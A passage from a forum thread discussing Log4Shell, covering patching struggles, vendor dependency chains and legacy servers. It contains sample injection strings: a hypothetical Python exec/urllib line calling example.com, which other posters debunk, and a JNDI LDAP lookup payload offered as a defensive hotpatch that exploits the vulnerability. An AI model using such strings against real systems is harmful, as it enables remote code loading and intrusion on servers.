My kids are tremendously disappointed that the Minecraft server is not coming back up in the near future.
I'm sure they can find something else to do with their time until it's back.
Log4Shell update: second Log4j vulnerability published
191–200 of 289 posts
Re: Log4Shell update: second Log4j vulnerability published
#192Earlier quoted context omitted.
In my hypothetical scenario im not targeting the python logger but rather `''.format()` and f-strings that parse user input naively. A lot of people on /r/ mentions that they started to get '${jndi:...' in their server logs. So malicious actors is already shotgunning the log4sh attack so what stop them from spamming `{exec("import urllib.request;urllib.request.urlopen(' http://example.com').read ()")}` and see what s…
f-strings don't "parse user input". .format doesn't have access to objects not explicitly provided to the call, and can't call functions. So again, how do you intend to trigger any of this if not through a hypothetical logger that uses eval?
Thanks for invalidating my naive/fud scenario, I must apologize for fearmongering, when I played with it in a py repl it really felt like a vector for attack.
I up-voted all parties trying to prove me wrong, and someone already down-voted me(rightfully).
Re: Log4Shell update: second Log4j vulnerability published
#193Earlier quoted context omitted.
That's definitely very fair! You could throw it into the constructor of your app right after you init log4j, at least. I've been surprised (and horrified) to learn that there are companies out there that _can't reboot their servers_ because they simply don't know how to bring the app back up. For them... live patching is the only options. Blows my mind, but that's reality (apparently)!
Server uptime used to be a point of pride. Now people try to shut them down as often as they can. Funny how things change.
Indeed, I remember going though great lengths to keep the Solaris hosts up that I used to administer. The graybeards I worked with treated rebooting as last resort, like admitting defeat. It was a dirty word, only reserved for lesser operating systems like Windows 95, that needed rebooting often. There was an art to systems administration that seems to be lost now. Or maybe I am just looking back though rose colored glasses. :)
Re: Log4Shell update: second Log4j vulnerability published
#194Earlier quoted context omitted.
How does that allow RCE?
By manipulating values on the stack (notably, return address) in non-memory-safe languages: https://en.wikipedia.org/wiki/Uncontrolled_format_string
And it's not as sexy, but if you can control the format string you can also inject things like SQL commands or HTTP headers into a convenient place. It's basically just an input validation exploit that in the right circumstances leads to other attacks.
Re: Log4Shell update: second Log4j vulnerability published
#195Earlier quoted context omitted.
In a corporate setting he's probably right. Java came of age in the early 00s when a new generation of programmers were seeking a revolution, and there was a Cambrian explosion of interfaces, modularity, and pluggability, first with J2EE and with Spring being the second wave. The pendulum of change is always in swing, and with time some people grew tired (but many didn't) of enormous "enterprise" application framewor…
Java is kind of 'heavy'. One project I was changing yesterday. Well over 150MB of jar files dragged in. There is maybe 50 lines of total code in the whole project. You put in the right depend in your pom file and it seems like it drags in half of the java world. Plus whatever jar files are flatpacked into those. So with the fun bit of flatpack you have to look at all of your dependencies and see if they are somehow s…
Pity the poor sod who (for this fix) has to update from java 7 to java 8 only to find that he's on a version of spring which doesn't run on java 8 and then has to update spring first.
When one needs to respond without delay to an vulnerability being exploited in the wild, being up-to-date with other dependencies means that you need only pay attention to the one with the security flaw. Pay in small instalments over time or pay in one large hit (at the least convenient time, obviously...), but there is no avoiding it.
In an age where random code is downloaded from the internet on trust and included in projects on a whim without inspection, it's noteworthy that people don't use the very same features to keep aggressively up to date. (The reason is that the long-term benefit of doing so is not immediately obvious to the most influential stakeholders of a project.) Sic transit gloria mundi.
Re: Log4Shell update: second Log4j vulnerability published
#196This is the vulnerability that keeps on giving. The annoying thing is, since it is evolving and attacks are spreading (and it has rightly gotten the attention of nearly everyone's IT department), we're hitting a stage where almost every customer is emailing daily asking for updates on mitigations based on evolving CVE discussions. I'd rather people be over-vigilant rather than pass on it, but mitigation is taking a b…
It’s a process circus. Once something gets raised as a critical IT issue in a large org, it’s not enough to “just fix the problem” or state that you aren’t affected due to network security etc. You have to report about it, which means you likely need a comment from a vendor. The most humorous thing for me about this entire situation is that the way reporting is handle in many orgs is: Central IT: Are we vulnerable in…
Literally happened to me the other day.
Not sure though how I can make a difference when the vendor and manager seem to be buddies and any criticism of the tool falls on death ears.
Re: Log4Shell update: second Log4j vulnerability published
#197We also wrote a Log4Shell payload that will in-memory "hot patch" your server against Log4Shell. ${jndi:ldap://hotpatch.log4shell.com:1389/a} If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that'll patch you against this until you can manage to update properly. Source code is on GitHub here[0][1] if you want to host it yourself. (This work is based on Logout…
It is interesting to note that this type of hotpatching will be prevented by the "strong encapsulation" new Java introduces.
BTW, the java code that actuanlly performs the patching : https://github.com/lunasec-io/lunasec/blob/master/tools/log4...
Re: Log4Shell update: second Log4j vulnerability published
#198Earlier quoted context omitted.
We just pushed a follow-up post[0] to talk about why the hell we thought this crazy exploit thing might be a good idea. (spoiler: Log4Shell is actually forcing companies to deal with tech debt via dependency hell) I'll finishing writing up the technical explanation tomorrow and publish that in a separate post. For now, I'm after some much needed sleep! Good night, y'all. :) 0: https://www.lunasec.io/docs/blog/log4she…
I'm seeing instances of it making the debt worse rather than better. E.g. some folks are just forcing latest log4j libs into builds even for services that don't have it or need it in central dependencies, as it's more expedient than trying to be precise and only bump where necessary. Leading to more risk over time.
You mean that they are adding log4j maven dependency where there was none?
Re: Log4Shell update: second Log4j vulnerability published
#199Earlier quoted context omitted.
Heh. I remember seeing a framework for this kind of thing, i.e. using exploits to display warnings, hotpatch or otherwise patch servers back on Hackcon #1 in February 2006 in Oslo. I think it was HP who presented it and I also can't remember hearing about it since and I think there are good reasons for that[1]. In this case however the advantages might actually outweigh the risks as long as it is done carefully. [1]:…
> others mention services or servers that no one know how to restart anymore. This sounds properly terrifying. How do you even realise that you are in such a situation before it is too late?
Because last time it happened you had 1.) to call in an old consultant/employee 2.) that you know is now unavailable.
The first part of that has been true at especially one place I worked though and while luckily he was still available it was still terrifying since he had left behind a proper Rube Goldberg machine. If he had been unavailable we would have had spent days and would probably just have had to recreate it from scratch (I watched him closely while he fixed it and it was a mix of at least from the top of my head: undocumented services, certificates that were expired, accounts with passwords that were unknown.)
I've also experienced to be the one that was called to because the IT manager remembered that I used to be the guy who knew how to fix a certain problem with Sybase Adaptive Server Anywhere. I had documented everything I ever knew and could think of about it but it turned out someone there had "cleaned up" a bit.
Re: Log4Shell update: second Log4j vulnerability published
#200Why is this so hard? It should be very easy to fix this. Set the correct version in the pom.xml. Commit and push to master and deploy. right? easy. It should be a half an hour thing. But at my employer, we still have dozens of teams struggling. Two reasons: - Branching hell.- Many teams don't do continuous integration. They have branches over branches over branches. There are many changes that are not in prod. Contin…
You're worried about patching the system that you're developing and releasing. Most people aren't doing that. Most people are patching systems they bought from some other guy. Indeed, they're scanning and patching dozens of systems they bought from a dozen other guys, each of whom sourced libraries from other guys, who sourced things from still other guys. Somewhere way down at the bottom of the vendor chain is Log4j.
For example, we operate an information system we bought from a nationwide vendor. The primary application is not vulnerable. The admin interface is not vulnerable. The secondary application is not vulnerable. However, there's a reporting system from a third party that was provided to us. That is vulnerable. Now we have to wait for the third party to patch so that the vendor can patch so that we can patch.
Plus there's all the other things you find that are clearly stupid, but aren't immediately important. Like this:
C:\Program Files (x86)\Microsoft Visual Studio\2017\SQL\Common7\IDE\CommonExtensions\Microsoft\SSIS\150\Extensions\Common\Jars\log4j-1.2.17.jar